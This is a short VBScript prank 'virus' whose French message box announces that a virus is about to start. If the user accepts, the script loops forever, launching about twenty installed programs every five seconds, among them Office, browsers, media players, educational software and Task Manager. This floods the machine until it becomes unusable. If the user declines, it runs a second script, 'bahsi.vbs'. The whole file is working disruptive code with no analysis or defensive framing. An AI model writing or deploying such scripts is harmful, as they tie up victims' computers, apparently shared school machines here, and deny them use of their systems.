result = MsgBox ("Désolé mais, le virus va se lancer >:)", vbInformation + vbYesNo ,"computer.exe don't works proprely")

Select Case result
Case vbYes
Do
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """explorer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """taskmgr.exe"""
Loop

Case vbNo
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "bahsi.vbs"

End Select